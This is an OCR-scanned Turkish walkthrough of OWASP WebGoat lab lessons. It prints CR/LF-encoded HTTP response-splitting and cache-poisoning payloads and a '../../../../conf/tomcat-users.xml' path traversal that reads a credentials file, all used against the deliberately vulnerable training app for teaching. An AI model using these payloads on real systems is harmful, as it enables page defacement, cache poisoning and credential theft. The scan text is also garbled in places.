Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)

4
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;g=0.8
5
Accept-Language: en-us,en;g=0.5
6

Accept-Encoding: gzip,deflate

7 Accept-Charset: ISO-8859-1,utf-8;g=0.7,*;9=0.7
8 Keep-Alive: 300

9 Connection: keep-alive

10 Cookie: PHPSESSID=r2t5uvjqg435r4qg7ib3vtdjgl20
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11 Pragma: no-cache

12 Cache-Control: no-cache

Biraz yukarida gecen resimde de gérdiginiz gibi Http Request sadece Http Header
icermektedir. Talebe karsi sunucunun olusturdugu Http Response ise suna benzer kodlar
igerir:

1
2 HTTP/1.x 200 OK
3 Transfer-Encoding: chunked
Date: Sat, 28 Nov 2009 04:36:25 GMT
4 Server: LiteSpeed
> Connection: close
6

X-Powered-By: W3 Total Cache/0.8

7 Pragma: public

8 Expires: Sat, 28 Nov 2009 05:36:25 GMT
9 Etag: "publ259380237;gz"

10 Cache-Control: max-age=3600, public

Content-Type: text/html; charset=UTF-8

11
1 Last-Modified: Sat, 28 Nov 2009 03:50:37 GMT
X-Pingback: http://net.tutsplus.com/xmlrpc.php
13
Content-Encoding: gzip
14
Vary: Accept-Encoding, Cookie, User-Agent
15
16 <ipocryeE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
17 "http://www.w3.0rg/TR/xhtmll/DTD/xhtmll-strict.dtd">
18 <html xmlns="http://www.w3.0rg/1999/xhtml">
<head>
19
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
20
<title>Top 20+ MySQL Best Practices - Nettuts+</title>
21 <!-- ... Kalan HTML Kodlari ... —-—>
22

Http Response'ta - sunucunun gondermis oldugu yanitta - fark ettiyseniz hem http header

hem de html sayfa icerigi beraber yer almaktadir. Zaten yukaridaki resimde de bu ifade
edilmekteydi.
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Bu dersin ¢ozumunde kullanacagimiz enjeksiyon tabirine gelince, injuction, yani enjeksiyon
kod icine zararli kod yerlestirme eylemi igin kullaniimakta olan bir tabirdir. Kod blogu igine
yerlestirilen kodlar ile siber saldirilar dizenlenebilmektedir. En ¢ok bilinen érnegi SQL
Injection'dir. Burada SQL Injection anlatilmayacaktir. Fakat kafanizda enjeksiyonun
somutlagabilmesi i¢in bir 6rnege deginmekte fayda var. Diyelim ki bir web sitesinin login
ekranindasiniz. Normalde bir kullanici bu ekranda ne yapar? Kullanici adi ve sifre girer.
Fakat saldir amaglayan bir kisi bu ekranda injection yapmaya ¢alisir. Yani metin kutularina
bazi 6zel kod pargalari girer. Eger websitesi SQL injection'a karsi korunmamigsa saldirgan
login ekranini geger ve illegal olarak oturum acgabilmis olur. Bu 6zel kod parcalari ve isin
mantig ileriki derslerden birinin konusudur. Dolayisiyla burada bahsedilmeyecektir. Simdilik
injection(enjeksiyon) tabirinin kod blogu igerisine zararli kod sokusturmak oldugunu bilmeniz
yeterlidir.

Dersin Coziimii

Ders bizden iki saldiri yapmamizi istiyor. Birincisi Http Split, ikincisi ise Http Split'i bir adim
daha 6teye tasiyan Cache Poisoning(Onbellek Zehirlemesi) saldirisidir. Ders ekranindaki
metin kutusuna girecegimiz illegal karakterler ile siber saldirilari gerceklestirmis olacagiz.
Yukaridaki Aciklamalar basligini okuduysaniz CR ve LF'ye asinalik kazanmigsinizdir. Ders
ekranindaki metin kutusunda CR ve LF gibi illegal karakterlere karsi guvenlik onlemi
alinmadigi igin biz bu givenlik agigindan faydalanacagiz. Normal input ile beraber illegal
karakter girildiginde Http Response'la gelen Http Header'in(Http Bashginin) "kalan kisminin"
kontrolinU ele gegirmis olacagiz. Neden kalan kismi dedim bunu birazdan anlayacaksiniz.
Simdi dersin ilk kismini halledelim. ilk kisim Http Split saldirisidir. Asagidaki veriyi metin
kutusuna girecegiz. Fakat acele etmeyin. Once bu veriyi Url Encoding isleminden gegirmemiz
gereklidir. Cunki eger URL Encoding isleminden gecirmezseniz 8 satirlik veri metin kutusuna
kopyalandiginda tek satir olacaktir. Halbuki saldiri i¢in bizim satir atlayabilen bir input'a
ihtiyacimiz vardir. Bu yuzden veriyi URL encoding islemine sokariz. Satir atlayabilen bir input'a
ihtiyacimiz olmasinin nedeni injection(enjeksiyon) yapabiliyor olmak icindir. Injection'1 ve
dolayisiyla bu saldiriy1 birazdan daha iyi anlayacaksiniz.

karabuk

2 Content-Length: 0

4 HTTP/1.1 200 OK
5 Content-Type: text/html

6 Content-Length: 47

<html>Hacked J</html>

Yukaridaki karabuk yazisi normal bir input'u temsil etmektedir. Geri kalanlar ise Http
Response ile beraber gelen http header'a yapilacak enjeksiyon sonucu eklenecek yeni
header bilgilerini temsil etmektedir. Yani sunucudan yanit ile gelen header bilgilerine
kendimiz header verisi eklemis olacagiz. Simdi bunu URL Encoding methodu ile kodlayalim.
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URL Encoding methodunu su link Uzerinden

gerceklestirebilirsiniz: http://yehg.net/encoding/ Yukaridaki saldiri verisini kopyalayin ve linkin
sizi goéturdugu sayfadaki metin kutusuna yapistirin. Ardindan encodeURIComponent
butonuna tiklayin. Veri kodlanmig bulunmaktadir. Fakat buraya dikkat: Eger Windows
Uzerinden Webgoat'u ¢alistiriyorsaniz CR ve LF'nin ikisi de kullaniimak zorunda oldugundan
ufak bir islem daha yapmaniz gerekmektedir. O da sudur ki URL encoding yaptiginiz linkteki

---Text FX--- isimli asagi acilir listeye tiklayin ve "from %0A to %0D%0A" secenegine tiklayin.

Bdylece linux igin kodlanmig veriyi windows'a uygun hale getirmis oldunuz. Eger linux
Uzerinden galigiyorsaniz veri igin ekstra bir islem yapmaniza gerek yoktur.(NOT: Eger linux
sistemi Uzerinde dersin ilk agamasini tamamlayamazsaniz Windows satir atlatma seklinde
kodlanmig veriyi kullanin.) Peki buraya kadar biz ne yaptik? Yaptigimiz sey su: CR ve LF
satir atlatma komutlari ile istemciden gonderilen talebin sonrasi gelen yanitin header'inda bir
enjeksiyon yaptik. Olayi daha iyi kavrayabilmek i¢in varsayin ki yukarida gecen illegal
karakterli veriyi dedil de zararsiz, normal bir "karabuk" kelimesini metin kutusuna girdik ve
butona tikladik. Bu durumda Http Request(Talep) ve Http Response(Yanit) soyle olurdu:

Http Request

[© Edit Request

Intercept requests : Intercept responses: [ |

Parsed | Raw |

Method URL Version

|PO§I’ | |http:;’,"|0calhost:8080;’WebGoat,"lessons;’General,fredirect.jsp?Screen=3&menu=100 | |HTTP;’1.1|
Header Value

Host localhost: 8080 —

User-Agent Mozilla/5.0 (11, Ubuntu; Linux x86_64; nv37.0) Gecko/20100101 Firefox/37.0 = Insert

Accept text/html, application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8 _ | Delete

Arcept-Language  |en-US en;g=0.5 il

] Il | [+]

R e

URLEncoded | Text | Hex |
language =karabuk&UBMIT =5earch®2 1

e T L

Accept changes I Cancel changes Abort request | | Cancel ALL intercepts

Yukarida gérdugunuz tzere "karabuk" kelimesi language degiskenine atanmis.
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Http Response

Edit Response

Intercept requests : Intercept responses :

l/Parsed rRaw ‘

Method URL Version
PRST http://localhost: 8080/ WebGoat/lessons/CGeneral /redirect. jspfScreen=3 &menu=100 HETP 11
[ Header Value
|Host localhost: 8080
User-Agent Mozilla/5.0 {11; Ubuntu; Linux x86_84; ns37.0) Gecko/20100101 Firefox/37.0
Accept text/himl, application/xhtml+xml, application/xml;q=0.9,*/*,q=0.8
Accept-Language  |en-US,en;g=05
Accept-Encoding  lazip, deflate

-

fParsed rRaw ‘
HTTF/1.1 302 Mowved Temporarily

Gerver: Apache-Coyote/1.1

Location: http://localhost: 8080 /WebGoat/attackiScreen=3&menu= 100&fromRedirect =yes&language =karabuk

Content-Type: text/html;charset=I150-8859-1
Content-length: O
Date: Sun, 26 Apr 2015 08:47:53 GMT

| Accept changes | Cancel changes Abort request | | Cancel ALL intercepts

Yukarida gérdiginiz tzere location baslik bilgisinin en sonuna language=karabuk ifadesi
eklenmis. Iste kritik nokta burasidir. Eger biz language=karabuk ifadesindeki karabuk yerine
yine karabuk girip fakat beraberinde bir de satir atlatma komutu girersek ne olur dersiniz?
Http Header'in yeni bir satirina atlamis oluruz. Boylece biz http header icin yeni baslik bilgileri

girebilme imkani elde etmis oluyoruz. iste enjeksiyon da buna deniyor. Simdi tekrar zararli
koda bakalim:

karabuk

2 Content-Length: 0
4 HTTP/1.1 200 OK
5 Content-Type: text/html

6 Content-Length: 47

<html>Hacked J</html>
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"karabuk" saldiri amagli olan inputumuzun normal kismini temsil etmektedir. Geri kalan
kisimlari ise CR ve LF ile Http Header'a enjekte edecegiz. Bu zararli veriyi yukarilarda
belirtilen linkten kodlarsaniz asagidakileri elde etmis olursunuz:

Windows i¢in(CR+LF):

karabuk%0D%$0AContent-
Length%3A%200%0D%0A%0DS0AHTTP%2F1.1%20200%200K%0D%0AContent -
Type%3A%20text$2Fhtml1%$0D%0AContent -
Length%3A%2047%0D%0A%0D%0A%3Chtml%$3EHacked%20J%3C%$2Fhtml%3E

Linux igin(LF):

karabuk%0AContent-Length%3A%200%0A%0AHTTP%2F1.1%20200%200K%0AContent -
1 Type%s3A%20text$2Fhtml$0AContent-
Length%3A%2047%0A%0A%3Chtml1%3EHacked%20J%3C%2Fhtml%3E

Yukaridaki kodlanmig zararl kodun sisteminize uygun olanini kopyalayin ve ders ekranindaki
metin kutusuna yapistirip butona basarak génderin. Saldiriy1 gergeklestirmis
bulunmaktasiniz. Normalde bu islem sonrasinda sizin "Hacked J" yazisina sahip bombos bir
sayfaya yénlenmeniz gerekir. Cunkl enjekte ettiginiz kodlarin en sonunda <html>Hacked
J</html> ifadesi yer almakta. Bu ifade ile sunucudan kendi olugturdugumuz sayfa icerigini
almamiz gerekir. Fakat ya bug'dan dolayi ya da baska bir sebepten dolayi o sayfa
goruntilenmemektedir. Dersin ilk kisminin basariyla gecildiginde dair olan kirmizi bildirimi
gOrayor olacaksiniz. (NOT: Eger linux sistemi tzerinde dersin ilk asamasini bu sekilde
tamamlayamazsaniz Windows satir atlatma seklinde kodlanmig veriyi kullanin.)
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Choose another language:

en = Logout Q

HTTP Splitting

” OWASP WebGoat v5.4

Introduction
General

o Http Basics

HTTP Splitting

Access Control Flaws
AJAX Security
Authentication Flaws
Buffer Overflows

Code Quality
Concurrency

Cross-Site Scripting (XSS)
Improper Error Handling
Injection Flaws

Denial of Service
Insecure Communication
Insecure Configuration
Insecure Storage
Malicious Execution

<THints > Sho ams Show Cookies Lesson Plan Show Java Solutio

Restart this Lesson

Solution Videos

This lesson has two stages. Stage 1 teaches you how to do HTTP Splitting attacks while stage 2
builds on that to teach you how to elevate HTTP Splitting to Cache Poisoning.

Enter a language for the system to search by You will notice that the application is redirecting your
request to another resource on the server. You should be able to use the CR (%0d) and LF (%0a)
characters to exploit the attack. Your goal should be to force the serverto send a 200 OK. If the
screen changed as an effect to your attack, just go back to the homepage. After stage 2 is
exploited successfully, you will find the green check in the left menu.

You may find the PHP Charset Encoder useful. The Encode and DecodeURIComponent buttons
translate CR and LF.

* Good Job! This lesson has detected your successful attack, time to elevate your attack
to a higher level. Try again and add Last-Modified header, interceptthe reply and
replace it with a 304 reply.

Parameter Tampering
Session Management Flaws
Web Services

Admin Functions

Challenge

Stage 1: HTTP Splitting:

Search by country : |enContent-Length: OHTTP/1.1 200 (| Search! |
Created by Sherif S oftwareSecurep

OWASP Foundation | Project WebGoat | Report Bug

Bdylece Http Splitting saldirisini tamamlamis bulunmaktasiniz. Siradaki saldiri Http Split
saldirisini kalici hale getiren Cache Poisoning(Onbellek Zehirlemesi) saldirisidir. Saldiri Http
Splitting saldirisi Gzerine Last-Modified header'ini(bashgini) ekleyerek gerceklestirilecektir.
Last-Modified baslgina deger olarak gelecekteki bir tarih koyulmalidir. BOylece sunucuya
yaptigimiz talebin header'i gelecekteki bir tarih olunca sunucu kendinde olan verinin tarihini
gecmiste goreceginden guncelleme yok diyecektir ve 304 Not Modified turtnde bir yanit
verecektir. Yani kullanici siteye her giris tesebblstinde bulundugunda sunucu sirekli
sayfanin degismedigine yonelik rapor dondurecektir ve kullanicinin istedigi sayfayi
yenilemeyecektir. Boylece kurbanin tarayicisi surekli Http Splitting saldirisi ile yapilmis
Onbellekteki(cache'teki) "Hacked J" yazisina sahip web sayfasinin igerigini gértnttliyor
olacaktir. Simdi Cache Poisoning saldirisini yapmak igin zararli kodumuza bakalim:

1 karabuk
) Content-Length: O
3
HTTP/1.1 200 OK
4
Content-Type: text/html
5
Last-Modified: Mon, 27 Oct 2090 14:50:18 GMT
6 Content-Length: 47
7

8  <html>Hacked J</html>
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Yukaridaki kodu http://yehg.net/encoding/ adresindeki metin kutusuna yapistirin. Ardindan
encodeURIComponent butonuna basin. Sonrasinda ---Text FX--- asagi agilir listeye basin ve
"From %0A to %0D%0A" ya tiklayin. Metin kutusundaki kodlanmig zararl kodu ders
ekranindaki metin kutusuna girin ve butona basin. Dersi basariyla tamamlamig
bulunmaktasiniz.

Choose another language: | €N : Logout 0

HTTP Splitting

* OWASP WebGoat v5.4

Introduction

General Solution Videos Restart this Lesson
I
ttp Basics
This lesson has two stages. Stage 1 teaches you how to do HTTP Splitting attacks while stage 2
o HTTP Splitting builds on that to teach you how to elewate HTTP Splitting to Cache Poisoning.
Access Control Flaws Enter a language for the system to search by You will notice that the application is redirecting your
AJAX Security request to another resource on the server. You should be able to use the CR (%0d) and LF {%0a)
Authentication Flaws characters to exploit the attack. Your goal should be to force the serverto send a 200 OK. If the
Buffer D“'_e!ﬂP"-'5 screen changed as an effect to your attack, just go back to the homepage. After stage 2 is
Code Quality exploited successfully, you will find the green check in the left menu.
Concurrency
Cross-5ite Scripting (X55) You may find the PHP Charset Encoder useful. The Encode and DecodeURIComponent buttons

Improper Errer Handling translate CR and LF
Injection Flaws
Denial of Service

|”59C'-”:E CDITI_T'-”?icjitiC'” * Now that you have successfully performed an HTTP Splitting, now try to poison the
Insecure Configuration victim's cache. Type 'restart’ in the input field if you wish to to return to the HTTP
Insecure Storage Splitting lesson.

Malicious Execution
Parameter Tampering

F:.feﬁ:'I::r:.';f:,agewent Flaws * Congratulations. You have successfully completed this lessen.

Admin Functions
Challenge Stage 2: Cache Poisoning:

Search by country : | karabukContent-Length: OHTTP/1."| Search!

Created by Sherif

Koussa DOMtWareSECUTED

OWASP Foundation | Project WebGoat | Report Bug

Cache Poisoning saldirisinin yaptigi sey kullanicinin énbellegini zehirlemektir. Zehirlemek
tabiri biliyorum biraz absurt geliyor. Fakat ona bakilirsa enjeksiyon da bir baska absurt kelime
olarak akabinde geliyor. :) Bunlar olayi anlamak adina isi benzetmeye dékmekten ibaret olan
bazi analojik terimlerdir. Cache(dnbellek), kullanicinin tarayicidan girdigi web sitelerinin gegici
olarak kaydedildigi klasére denir. Bu dersteki Hitp Split ifadesinin kastettigi sey ise kurbanin
cache'ine "Hacked J" yazili html dosyasi indirtmektir ve kurbanin web tarayicisina bir defalik
gostertmektir. Onbellek Zehirlemesinden kasit ise kurbanin cache'indeki "Hacked J" yazili html
dosyasinin kurban tarafindan ilgili siteye her girilisinde strekli olarak gdsterilmesidir, yani
saldirinin kalici hale dénisturilmesidir.
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DERS 4 - ACCESS CONTROL FLAWS > USING AN ACCESS CONTROL
MATRIX

Webgoat'in Access Control Flaws, yani Erisim Kontrolli Kusurlari Gnitesinin ilk  kismi
olan Using an Access Control Matrix(Erisim Kontrolii Matrisini Kullanma) dersinde, simule
edilen sistemin kullanicilari ve o kullanicilarin izinleri ele alinmistir.

Dersin Hedefi

Her kullaniciya yalnizca belirli kaynaklara erisim izni taninmistir. Yani her kullaniciya bazi roller
bicilmistir. Hedefiniz Webgoat'ta simule edilen sitenin erisim izinlerini kesfetmektir. (NOT:
Yalnizca [admin] grubundakiler Account Manager kaynagina erigebiliyor olmal.)

Aciklamalar

Bu derste pek bir etkilesim olmadigi igin ac¢iklanabilecek belki tek sey Unite isminin neden
matrix olusudur. Matrix bildiginiz Gzere matris demektir. Bu dersin adinda Matrix
kullaniimasinin nedeni kullanicilar ve kaynaklar olmak Uzere birbiriyle iligkili iki kavramin yer
aliyor olusudur. Yani diyelim ki 4x6'lik bir matrisin 1.satiri Moe kullanicisini temsil ediyor olsun.
1.satinin sttunlar da sirasiyla kaynaklari temsil etsin. Ders ekranindan gorebileceginiz Uzere
kaynak sayisi 6 oldugundan sutun sayisi 6'dir. Bunlar Public Share, Time Card Entry,
Performance Review, Time Card Approval, Site Manager ve Account Manager'dir. ik kullanici
olan Moe kullanicisi bu kaynaklardan hangisine erisim hakkina sahipse o sttun 1, hangisi i¢in
erisim hakkina sahip degilse o situn 0 olsun. Bdylece matrisin birinci satiri Moe kullanicisinin
tim kaynaklara olan erisim izinlerini listelemis oldu. Bunu ikinci kullanici i¢in yaparsak ikinci
satirl kullaninz. Uglinci kullanici igin yaparsak tgtinci satir kullaniriz. Hakeza dérdincii
kullanici da ayni sekilde. Goruldugu gibi bir matris kullanarak tim kullanicilarin tim kaynaklara
olan erisim durumlarini derli toplu ve anlasilir bir sekilde ifade etmis olduk.

Dersin Coziimii

[Admin] grubunda olmayan ve Account Manager kaynagina erigim iznine sahip bir kullanici
buldugunuz takdirde bu dersi basariyla tamamlamis olursunuz. O kullanici ise "Larry"dir. Larry
kullanicisi [User, Manager] grubunun bir tyesidir. [admin] grubunda olmamasina ragmen
Account Manager(Hesap Ydneticisi) kaynagi igin erigsim iznine sahiptir. Dersi tamamlamak igin
"Larry" kullanicisini segin. Ardindan Select Resource seg¢enedi icin Account Manager'l segin
ve Check Access butonuna tiklayin.
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DERS 5 - ACCESS CONTROL FLAWS > BYPASS A PATH BASED ACCESS
CONTROL SCHEME

Webgoat'in Access Control Flaws, yani Erisim Kontrolii Kusurlari Gnitesinin ikinci kismi
olan Bypass a Path Based Access Control Scheme(Erigsim Kontrolii Semasi Temelli Dizin Yolu
Atlatma) dersinde site araylzinde goérinmeyen linke ulasilabilirlik konu edinilmistir.

Dersin Hedefi
Ekranda listelenen dosyalardan aralarinda gérinmeyen bir dosyaya erisiimelidir.

Aciklamalar

Web programlamada gelistiricilerin genellikle kullandigi bir link semboll vardir. O sembolse
sudur: "../* Bu sembole parent directory, yani ebeveyn dizin denmektedir. Bu sembol ile
tarayiciya bir Ust dizine git emrini vermis oluyoruz. Daha iyi anlamak igin bir 6rnek verelim. Su
an sitede bulundugumuz konum sudur:

http://www.includekarabuk.com/kategoriler/webgoatuygulamasi/Ders-5---
Access-Control-Flaws-%3E-Bypass-a-Path-Based-Access-Control-Scheme.php

Buradaki "Ders-5---Access-Control-Flaws-%3E-Bypass-a-Path-Based-Access-Control-
Scheme.php" ifadesi bir dosyaya isaret eder. kategoriler ise bir

klasordir. webgoatuygulamasi da bir klasérdir. Toparlayacak olursak kategoriler klasérinin
icerisindeki webgoatuygulamasi klasériinin igcinde "Ders-5---Access-Control-Flaws-%3E-
Bypass-a-Path-Based-Access-Control-Scheme.php" dosyasi vardir. kategoriler klasoéri ise
sizin gérmediginiz bir bagka klasérun icerisindedir. O klasére de kok dizin denmektedir(www
seklinde isimlendirilir). Su an bu yazinin yer aldigi, yani bulundugumuz yalin konum sudur:

1 http://www.includekarabuk.com/kategoriler/webgoatuygulamasi/

Bulundugumuz bu konuma gore simdi parent directory sembolunu kullanalim ve st dizine
gecmek ne demek onu anlayalim. Parent directory semboliine sahip bir linki tam

buraya _/ koyuyorum. Su an webgoatuygulamasi klasoriiniin icerisindesiniz. Siz bu linke
tikladiginizda tarayici sizi nereye goturecektir dersiniz? ../ ile gideceginiz hedefi gormek icin yukarida
verdigim parent directory'li linke tiklayin ve agilan sayfanin linkine adres ¢cubugundan bir gz atin.
Goreceginiz lUzere

1 http://www.includekarabuk.com/kategoriler/

dizinine yonlendirildiniz. Clnkl webgoatuygulamasi klasorl icerisindeydiniz ve bir (st dizine
yonlenince webgoatuygulamasi klasériinden ¢ikip kategoriler klasoérinlin icerisine vardiniz. Bu
bolimde bu sembolden bahsedildi, ¢link(i dersimizi basariyla tamamlamamizin yolu bu semboli
bilmek ve kullanabilmekten gegiyor.
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../ sembolini iceren linklere Relative Path(Goreceli Dizin Yolu) denmektedir. Bu tip dizin yollarina
goreceli deniyor, ¢linki ../ semboli yer aldigi konuma goére farkh sayfalara yonlendirir. Bu sayfada yer
aliyorsa bu sayfanin Ust dizinine yonlendirir. Bu sayfanin st dizininde yer aliyorsa Ust dizinin Ust
dizinine yonlendirir. Yani bulundugu konuma gore degiskenlik gésteren bir yapisi oldugundan o6tiirl
goreceli dizin yolu denmigtir.

Peki eger ../ sembollni bir defa degil de iki defa kullanirsak su an okumakta oldugunuz sayfadan sizce
nereye yonlenirsiniz? Su an ki bulundugumuz dizin(klasoér) suydu:

1 http://www.includekarabuk.com/kategoriler/webgoatuygulamasi/

EéerL../seklinde vermig oldugum linke tiklarsaniz hangi sayfaya yonlenirsinizin cevabini
yonlendirildiginiz sayfanin linkine adres cubugundan bakarak 6grenebilirisiniz. Goreceginiz
uzere hem webgoatuygulamasi klasori hem de kategoriler klasori atlatilmis oldu ve kok dizine
varilmis oldu. Kok dizin ise www.includekarabuk.com 'dur.

../../ ile Varilan Hedef

1 www.includekarabuk.com

Dersin Coziimii

Bu dersi iki method ile tamamlayabiliriz. Birincisi tarayicinin gelistirici araci ile, ikincisi ise
Webscarab yazilimi ile. Once dersi anlamlandirahim. Ekranda gérdigiiniz listelenen html
dosyalarindan birine tiklayin ve View File(Dosya Goéruntile) butonuna tiklayin. Listelenen
dosyalarin asagisinda, segctiginiz html dosyasinin igerigini gorayor olacaksiniz. Her sectiginiz
html dosyasi i¢in butona tikladiginiz takdirde ilgili html icerigi ekrana yansitilacaktir. Dersin
bizden istedigi sey dosya igerigini yansitma mekanizmasini ekranda listelenmemis bir dosya
icin kullanmamizdir. Béylece web sitesinin bize ulasabilmemiz i¢cin sunmadigi bir dosyayi
ekranin agsagisinda goruntulemis olacagiz.

Ders ekraninda goéreceginiz Uzere ders ekranini goruntulediginiz dizin yolu, yani su an ki
bulundugunuz dizin yolu bizlere verilmistir. Ben linux kullandigim i¢in dizinim linux'a 6zgu dizin
yapisi ile geliyorken, siz eger windows'da WebGoat'a galisiyorsaniz dizin yapiniz C:\ ya da D:\
'li olacaktir. Bu hi¢ de 6énemli degildir. Bizi ilgilendiren dizinin sonlaridir. Dolayisiyla burada
sadece linux dizin yolu Gzerinden gidilecektir, ancak bu Windows kullanicilari i¢in de kapsayici
olacaktir. Simdi dersin bize sundugu linke bakalim:

Current Directory is:

1 /var/www/WebGoat-5.4/tomcat/webapps/WebGoat/lesson plans/English

Yukaridaki linki okuyacak olursak slash(/) sembolleri arasindaki her bir 6ge klaséri temsil
etmektedir. Biz su an English klasdrinun igerisinde yer almaktayiz. Ders bizden ekranda
sunmadidi bir dosyaya erismemizi istiyor. JSP dizin yapisina hakimseniz nerelere el
atabileceginizi biliyorsunuz demektir. Eger bilmiyorsaniz hi¢ dnemli degil. Sadece yapilan igi
anlamaniz, yani guvenlik agigini anlamaniz da kafidir. Ders ekraninda dosyalarin siralandigi
kutuda gosteriimeyen
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1 tomcat/conf/tomcat-users.xml

dizinindeki tomcat-users.xml dosyasina eriserek bu dersi tamamlamis olacagiz. Dikkat
ettiyseniz tomcat-users.xml dosyasi conf, conf da tomcat klasoéru icerisindedir.
Bulundugumuz dizin ise suydu:

1 /var/www/WebGoat-5.4/tomcat/webapps/WebGoat/lesson plans/English

Yukarida goésterilen bulundugumuz dizinden anlayabileceginiz lizere biz i¢ ice olan
klasorlerden sirekli bir Ust klasére dogru cikarsak tomcat klasériine varacagiz. Yani aslinda
biz tomcat klasortnln icerisinde bir yerdeyiz. Fakat tomcat klasoru i¢erisindeki conf klasoru
icinde degil de webapps klasori icerisindeyiz. Dolayisiyla bizim bulundugumuz

dizinden tomcat kokiine dénmemiz ve sonra conf klasori yoluna sapmamiz gerekiyor ki
bdylece listelenmemis dosya olan tomcat-users.xml'e erisebilelim. Bunun

icin Aciklamalar basliginda bahsedilmis olan relative path kullanilacaktir. Hatirlayacaginiz
Uzere bu tir linkler Ust klasére ¢ikarma sembolu olan ../ karakterlerini icermekteydi. Bu
semboll bulundugumuz dizinden tomcat'e gikarkenki ugradigimiz her bir klasore sirasiyla
koyalim:

English : ../ (Su an English klasoérunun yer aldigr havuza ¢iktik.)
lesson_plans: ../ (Su an lesson_plans klasorinin yer aldigi havuza ciktik.)
WebGoat: ../ (Su an WebGoat klasérinin yer aldigi havuza giktik.)
webapps: ../ (Su an webapps klasérinin yer aldigi havuza giktik.)

Simdi bunlari webapps'ten English'e dogru birlestirelim:

Gordagunaz Gzere yukaridaki goreceli link ile bulundugumuz dizinden tomcat klasérine
cikmig oluyoruz. Artik ulasmak istedigimiz dosyanin yoluna sapabiliriz. Ulasmak istedigimiz
dosya su dizindeydi:

1 tomcat/conf/tomcat-users.xml

conf klasérline saparak dosyaya ulasiriz:

1 ../../../../conf/tomcat-users.xml

Sira geldi bu géreceli linki nerede ve nasil kullanacagimiza. Olusturdugumuz goéreceli linki
ders ekranindaki dosya segme ve dosya igerigini goriintileme mekanizmasina en basta
soyledigimiz gibi iki sekilde dahil edebiliriz: Birincisi web tarayicisinin web gelistiricisi araci
ile, ikincisi ise WebScarab yazilimi ile... Once birinci yéntemi kullanalim. Ders ekranina gelin
ve listelenen dosyalardan en bastakine sag tiklayin(Dersi tamamlamak icin en bastakini
secmek zorunda degilsiniz. Dilerseniz farkli dosyayi da segebilirsiniz, fakat o zaman dersin
devaminda da ayni dosyay! kullanmaniz gerekmektedir). Sag tikladiginiz en bastaki yazi igin
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ekrana gelen sag-tik menisiinden "Ogeyi Denetle" ya da "Inspect Element" segenegine
tiklayiniz. Tik isleminden sonra web tarayicinizin altinda tarayicinizda gérintaliyor
oldugunuz html sayfasinin kaynak kodunu géreceksiniz ve ayrica denetle dediginiz 6genin
kaynak kodunda segili vaziyette durdugunu asagidaki gibi gériyor olacaksiniz.

OWASP WebGoat v5.4

Introduction
General
Access Control Flaws

@ Using an Access Control

Matrix

Bypass a Path Based Access
Control Scheme

LAB: Role Based Access
Control

Stage 1: Bypass Business
Layer Access Control
Stage 2: Add Business
Laver Access Control
Stage 3: BYESS Data Layer
Stage 4: Add Data Layer
Access Control

Remote Admin Access

AJAX Security

Authentication Flaws

Buffer Overflows

Solution Videos

Bypass a Path Based Access Control Scheme

Restart this Lesson

The 'guest’ user has access to all the files in the lesson_plans/English directory. Try to break the
access control mechanism and access a resource that is not in the listed directory. After selecting a
file to view, WebGoat will report if access to the file was granted. An interesting file to try and

obtain might be a file like tomcat/conf/tomcat-users.xml. Remember that file paths will be different
if using the WebGoat source.

Current Directory is: /var/www/WebGoat-5.4/tomcat/webapps/WebGoat/lesson_plans
/English

Choose the file to view:

UncheckedEmail.html €
UsefulTools.html .
Lesson_Plan_Template.html
TraceXSS.html
MultiLevelLogin1.html
WsSqlinjection.html

Burasi Web Sayfasi icerigi

Concunency ThreadsafetyProblem.html ||
® 1 Inspector > Console \ @ Debugger [# style Editor | @ Performance \ F Network

< vi#twoCol > divitlessonArea

div#lessonContent form table ~ tbody tr _td7 selectrm > [a )

w<taple alIgn="center™ CellspacIng="u" CellpaguIng="2" WIdIn="9u%">

w <tbody>
b <tr></tr>
v<tr>

w<td width="35%">

v <select size="15"
» <option

Burasi Web Gelistiricisi Araci |

name="File">

b <option
» <option
b <option
)} <option
» <option

L santinn

label="UncheckedEmail.html" value="UncheckedEmail.html"></option>
label="UsefulTools.html" value="UsefulTools.html"></option>

label="Lesson Plan_Template.html" value="Lesson Plan Template.html"></option>
label="TraceXSS.html" value="TraceXSS.html"></option>
label="MultilLevelloginl.html" value="MultilevellLoginl.html"></option>

label="WsSqlInjection.html" value="WsSqlInjection.html"></option>
13hal="ThraadCafatubDrahlam html "

ualua="ThraadCafatubDrahiam himl "s-/antinns

Yukaridaki resimde gérdugunuz Gzere kaynak kodundaki secili satir ekranda listelenen sag
tikladigimiz ilk html dosyasidir. Bu dosyanin "value" 6zelliginin degerini silip olusturdugumuz
relative path'i(géreceli linki) onun yerine koyalim. Bunun igin value="UncheckedEmail.html"
ifadesindeki UncheckedEmail.html'ye cift tiklamalisiniz ve backspace tusu

ile UncheckedEmail.html ifadesini silmelisiniz. Ardindan yukarida olusturulan goéreceli linki
sildiginizin yerine yapistirip enter'layarak islemi tamamlamis olursunuz.

> Console | ) ®-Dé.bug-g.er” | _IZ SII:yl.e-Edit(_)r“ |C-) P;a.rfofmance | .T—ltwork

€ vetwoCol ~ divilessonArea

divtlessonContent form table tbody tr K select > |a

<Td0Lle alIgn="Ccenter

<tbody=>
<tr></tr>
<tr>

<td width="35%">
<select size="15"

» <option label="UncheckedEmail.html" value="../../../../conf/tomcat-users.xml"></option>

<option label=
<poption label=
<poption label=
<poption label=

CELSpacIng="u" CellpandIng="2" WIOTn="39t%">

name="File">

"UsefulTools.html" value="UsefulTools.html"></option>

"Lesson_Plan Template.html" value="Lesson Plan Template.html"></option>
"TraceXS5.himl" value="TraceX55.hitml"></option>
"MultilLevelloginl.html" value="MultilevellLoginl.html"></option>
<option label="WsS5qlInjection.html" value="Ws5qlInjection.html"></option>
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Dersi tamamlamak igin son bir dokunus kaldi. Ders ekranindaki listelenen dosyalardan ilkini
secin ve View File butonuna tiklayin. Boylece tomcat-users.xml dosyasi ders ekraninda
listelenen dosyalarin agagisinda goruntuleniyor olacaktir. Dersi bagariyla tamamladiginiza
dair bildirimi ve ders bashginin yanindaki tick isaretini de gorlyor olacaksiniz. Buraya kadar
yaptigimizi 6zetlersek yaptigimiz sey halihazirda ¢alisan bir sisteme umdugu degil de
ummadigi bir link vermektir. Sistem, ders ekraninda sundugu html dosyalarini html kodu
